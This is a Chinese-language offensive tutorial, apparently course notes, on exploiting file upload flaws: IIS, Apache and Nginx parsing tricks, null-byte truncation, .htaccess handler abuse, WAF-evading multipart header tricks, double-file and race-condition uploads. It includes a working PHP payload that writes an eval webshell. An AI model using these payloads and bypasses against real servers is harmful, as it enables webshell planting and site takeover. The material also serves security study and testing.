1.文件解析漏洞
2.文件上传过程
3.文件上传检测绕过
4.文件上传漏洞分析
PART 1: 文件解析漏洞
文件解析漏洞
注意:fanghan.com/uploadfiles/20200512123123.jpg //菜刀链接不上的
解析漏洞主要说的是一些特殊文件被iis、apache、nginx在某种情况下解释成脚本文件格式的漏洞
一般windows server 2003服务器才会安装IIS 5.X/3.0容器
IIS 5.x/6.0解析漏洞 (容器)
IIS 6.0解析利用方法有两种
1.目录解析
/xx.asp/xx.jpg
在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
例如创建目录 cracer.asp,那么
/cracer.asp/1.jpg
将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了
//把你a.asp这个目录当成文件了,所以该目录下的所有文件都被当成asp解析,即使是jpg
2.文件解析 (分号解析)
cracer.asp;.jpg
第二种,在IIS6.0下,分号后面的不被解析,也就是说
cracer.asp;.jpg
会被服务器看成是wooyun.asp还有IIS6.0 默认的可执行文件除了asp还包含这三种
//在uploadfiles/x.asp;jpg 容器认为;后面的jpg是另一个文件了,所以也会识别为asp文件
实战:
环境03服务器iis5.0
把文件名起名为:ima.asp;x.jpg
192.168.0.200:8030/ima.asp;x.jpg 解析成功
3.畸形文件名
/cracer.asa
/cracer.cer
/cracer.cdx
/cracer.asax
/cracer.ascx
/cracer.ahx //这些后缀也可以解析为asp文件
IIS 7.0/IIS 7.5/IIS8.0/8.5 /10.0解析漏洞
iis7/7.5/8.x/10.x 服务器对应08 2016 2016 //针对php
如果开启了fast-cgi模块 //开启方法,IIS管理器--处理程序映射---找到php脚本phpsudy2018双击---请求限制,映射勾取消
上传x.jpg内容为
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件
uploadfiles/x.jpg/.php //这时候容器会把图片当做php运行
畸形文件名:
/cracer.asa
/cracer.cer //后缀也能被识别成asp文件,这个适用于08服务器
配合fck编辑器利用的:
a.asp...aspx.a.asp.
00截断:
x.php%00.jpg iis7.x 08 nginx版本固定漏洞才会存在
Apache解析漏洞
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如 cracer.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把cracer.php.owf.rar解析成php.
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个cracer.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀
任意不识别的后缀,逐级向上识别
.txt
x.php.zzzz.xxxdf
Phtml
Php3
Php4
php5
X.phtml
Php空格
Php_
PHP
x.php.zzz //apache不识别zzz就会在往php去识别,这种用来配合绕过黑名单
x.php.jpg //国外能识别jpg但也会往前走一步去识别php 例如加拿大站点x.php.jpg?id=123这种居多能解析图片和php
%00截断:
::$DATA 基于windos截断php文件 asp可以测试
服务器搭配容器
03+iis6.x
08+iis7.0/7.5
2012 iis8.x
2016 iis10.x
htaccess文件解析
如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:
<FilesMatch “*.odd "> SetHandler application/x-httpd-php </FilesMatch>
然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件
//上传htaccess的文件整个网站的jpg文件都会成为乱码,被php所执行,写的时候可以写成shell.jpg或者shell.odd只要最后写php就会上传成功
Nginx 空字节代码执行漏洞
影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
xxx.php%00.jpg
来执行其中的代码
nginx畸形解析漏洞
默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件
将shell语句,如
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后
copy xx.jpg/b + xx.txt/a test.jpg
上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php
Nginx文件名逻辑漏洞(CVE-2013-4547)
受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x
正常上传一个附加代码的图片"test.jpg",访问时后面+"空格"+" "+".php",即让图片作为php文件解析
"/test.jpg .php“
Test.jpg/.php
实战:
2003服务器 iis
1.目录解析
/xx.asp/xx.jpg
2.分号解析
cracer.asp;.jpg
3./cracer.asa
08 iis php5.4
如果开启了fast-cgi模块 //开启方法,IIS管理器--处理程序映射---找到php脚本phpsudy2018双击---请求限制,映射勾取消
http://192.168.9.70:9001/a.jpg/.php //a.jpg是php大马 /.php是解析漏洞
PART 2: 文件上传过程
文件上传的特征
从中获取特征为:
请求Header中Content-Type存在以下特征:
multipart/form-data(表示该请求是一个文件上传请求)
存在boundary字符串(作用为分隔符,以区分POST数据)
POST的内容存在以下特征:
Content-Disposition
name
filename
POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后标识结束的boundary
最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的boundary删掉也能成功上传)
请求头展示:
一般会改form-data filename=''xx.php'' 可以绕过waf
服务器命名规则
第一种类型:上传文件名和服务器命名一致
第二种类型:上传文件名和服务器命名不一致(随机,时间日期命名等)
文件名称上传后发生改变
时间戳命名居多
这种配合+白名单来限制上传
只有配合解析漏洞
不发生改变
asp 无回显 //上传成功找不到路径,
解决方法:
1.通过前台图片分析
2.爆破工具爆破文件名称
案例:
metinfo 米拓
网站有解析漏洞uploadfile/20123123.jpg/.php
awvs扫描到了一个上传接口 上传简历 招聘地方
上传成功没回显
1.下载mituocms本地复现
2.分析文件名命名规则
3.把年月日锁定好,后面的时间戳用burp去爆破图片路径
PART 3: 文件上传检测绕过
常见的上传检测方式
1.客户端 javascript 检测 (通常为检测文件扩展名)
2.服务端 MIME 类型检测 (检测 Content-Type 内容)
3.服务端目录路径检测 (检测跟 path 参数相关的内容)
4.服务端文件扩展名检测 (检测跟文件 extension 相关的内容)
5.服务端文件内容检测 (检测内容是否合法或含有恶意代码)
客户端检测绕过(javascript 检测)
首先判断JS本地验证
通常可以根据它的验证警告弹框的速度可以判断,如果你电脑运行比较快,那么我们可以用burp抓包,在点击提交的时候burp没有抓到包,就已经弹框那么说明这个就是本地js验证。
绕过方法:
1.使用burp抓包改名
2.使用firebug直接删除掉本地验证的js代码
3 添加js验证的白名单如将php的格式添加进去
解决方法
1.本pass在客户端使用js对不合法图片进行检查!
打开burp抓包.上传php没有抓到包,这是明显的全段验证
方法1:上传随意图片抓包,改掉后缀
filename="QQ鍥剧墖20200828225710.jpg"
filename="QQ鍥剧墖20200828225710.php"
放行
方法2:或者用火狐检查,把js直接删除掉即可,在上传
方法3:在允许上传类型那里添加.php白名单
服务端检测绕过(MIME 类型检测) //一般自己写的上传接口会存在这些漏洞
MIME的作用 : 使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。
web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。
Tomcat的安装目录confweb.xml 中就定义了大量MIME类型 ,你可也去看一下。
MIME的作用 : 使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。
web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。
Tomcat的安装目录confweb.xml 中就定义了大量MIME类型 ,你可也去看一下。
绕过方法:
直接使用burp抓包,得到post上传数据后,将 Content-Type: text/plain改成 Content-Type: image/gif
就可以成功绕过。
解决方法:
方法1:
原理:进行文件类型欺骗
打开burp上传php,抓包,在他文件类型那里换成Content-Type: image/gif
方法2:
上传图片改后缀,因为它只检测了图片类型
服务端检测绕过(目录路径检测)
目录路径检测,一般就检测路径是否合法,但稍微特殊一点的都没有防御。 比如比较新的 fckeditor php <= 2.6.4 任意文件上传漏洞
当 POST 下面的 URL 的时候
/fckeditor263/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&
CurrentFolder=fuck.php%00.gif HTTP/1.0
CurrentFolder 这个变量的值会传到 ServerMapFolder($resourceType, $folderPath, $sCommand) 中的形参 $folder 里,而 $folder 在这个函数中并没做任何检测,就被 CombinePaths()了
解决方法:
方法1:
form-data; name=''filepath''
/a.asp%00
方法2:过安全狗
fo++++++超过他拦截上限+++很多+++rm-data; name=''filel''
方法3:过waf
form-data; name=''filel'' filename=''
1.asp'' //引号换行
form-data; name=''filel'' filename=
''1.asp'' //等号换行
form-data; name=''filel'' filename =''1.asp'' //等号空格
form-data; filename=''1.asp''; name=''filel'' //name和filename换位置再加个分号
双引号变单引号,不加单引号等等一系列的
filename=''1.asp'';filename=''1.asp''; //多写几个filename
方法4:过waf
---------2123156165156 //少些一个''-''号 或者在数字里写一串
方法5:过waf
Content-Type: image/gif 直接把这个删掉
服务端检测绕过(文件扩展名检测)
- 黑名单检测
黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多 一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件例如 fckeditor 2.4.3 或之前版本的黑名单
- 白名单检测
白名单相对来说比黑名单安全一些,但也不见得就绝对安全了
1. 文件名大小写绕过
用像 AsP,pHp 之类的文件名绕过黑名单检测
2. 名单列表绕过
用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类
3. 特殊文件名绕过
比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。
4. 0x00 截断绕过
在扩展名检测这一块目前我只遇到过 asp 的程序有这种漏洞,给个简单的伪代码 name = getname(http request) //假如这时候获取到的文件名是 test.asp .jpg(asp 后面为 0x00)
type = gettype(name) //而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg
if (type == jpg)
1. 文件名大小写绕过
后缀批量爆破
首先搞一个后缀字典
2.实验过了
3.实验过了
4.a.asp%00.jpg
绕过黑名单
5. .htaccess 文件攻击 配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测
6. 解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞
绕过白名单
1. 0x00 截断绕过
用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑 漏洞进行攻击,目前我只遇到过 asp 的程序有这种漏洞
2. 解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞
- .htaccess 文件攻击
通过一个.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含"haha"这个字符串的 任意文件,所以无论文件名是什么样子,只要包含"haha"这个字符串,都可以被以 php 的方 式来解析,是不是相当邪恶,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很 多上传验证机制
建一个.htaccess 文件,里面的内容如下
<FilesMatch "haha">
SetHandler application/x-httpd-php </FilesMatch>
同目录有个我们上传一个只有文件名并包含字符串"haha",但是却无任何扩展名的文件 里面的内容是 php 一句话木马
双文件上传
南方、良精、动易。。。
只检测第一个,不检测第二个
什么样的情况下可以双文件上传?
答:服务器必须接受上传两个文件,或者源码接口
复现环节:
复现南方http://192.168.9.70:8009/admin/default.asp
添加产品:1.jpg
抓包成功,发送RPXXX
辨别是否有这个漏洞的方法:
方法1:正常图片 200响应码下方出现parent.parent.additen(dsafasfaf.asp)//这种就会有上文件上传漏洞
方法2:请求头和请求尾
复现方法:
重新复制请求包,并在请求包后面加个name=''filename1'' 和上一个包区分开来
上传成功一次
第二次:把第二张后缀改成cer,或者asa 高版本1.asp%00.jpg 在进行截断 ,改成php也行
竞争上传
基于上传文件后名称不改变
利用多线程并发访问触发上传后的文件,让其生成一个webshell
up.heml //页面
upload_file.php //接受脚本
a1.php //马
jing.py //写的一直上传脚本
把up.heml upload_file.php 放到根目录
a1.php 放到d盘
jing.py 放到py目录下并且修改d盘的马
然后打开cmd运行jing.py开始条件竞争
验证方法:上传的不存在,或者404就证明有条件竞争
服务端检测绕过(文件内容检测)
解决方法:做图片马,如果还被拦截,证明图片马不免杀
表单提交按钮
slblog.upload.com/sleditor/upload.asp
写入表单
<input type="submit" value="提交" name="bb">
上传a.asa
//没有提交按钮就,检查在Input里自己写一个提交按钮提交即可
上传漏洞分析
phpv9 上传漏洞分析
tpshop 上传漏洞
phpweb 任意文件上传漏洞